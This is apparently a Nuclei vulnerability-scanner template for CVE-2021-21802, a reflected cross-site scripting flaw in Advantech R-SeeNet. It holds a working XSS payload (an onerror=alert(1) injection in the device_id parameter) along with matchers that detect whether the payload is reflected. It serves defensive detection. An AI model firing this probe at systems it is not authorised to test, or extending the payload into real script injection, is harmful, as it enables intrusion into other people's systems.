49 lines
1.6 KiB
YAML
49 lines
1.6 KiB
YAML
id: CVE-2021-21802
|
|
|
|
info:
|
|
name: Advantech R-SeeNet - Cross-Site Scripting
|
|
author: gy741
|
|
severity: medium
|
|
description: Advantech R-SeeNet contains a cross-site scripting vulnerability in the device_graph_page.php script via the device_id parameter. A specially crafted URL by an attacker can lead to arbitrary JavaScript code execution.
|
|
remediation: |
|
|
Apply the latest security patches or updates provided by Advantech to fix the XSS vulnerability in the R-SeeNet application.
|
|
reference:
|
|
- https://talosintelligence.com/vulnerability_reports/TALOS-2021-1272
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-21801
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.1
|
|
cve-id: CVE-2021-21802
|
|
cwe-id: CWE-79
|
|
epss-score: 0.83742
|
|
epss-percentile: 0.98108
|
|
cpe: cpe:2.3:a:advantech:r-seenet:2.4.12:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: advantech
|
|
product: r-seenet
|
|
tags: cve,cve2021,rseenet,xss
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- '{{BaseURL}}/php/device_graph_page.php?device_id=%22zlo%20onerror=alert(1)%20%22'
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- '"zlo onerror=alert(1) "'
|
|
- 'Device Status Graph'
|
|
condition: and
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- text/html
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
# digest: 4b0a00483046022100ac3e9fbb302f186c26bc8de0b4a68cc4d4632f7031e89696a24ba3206804cc76022100a8d2912571a60ba6b6665ef6e56b5d787684cecf1161895e5a0fbe98014bb95c:922c64590222798bb761d5b6d8e72950 |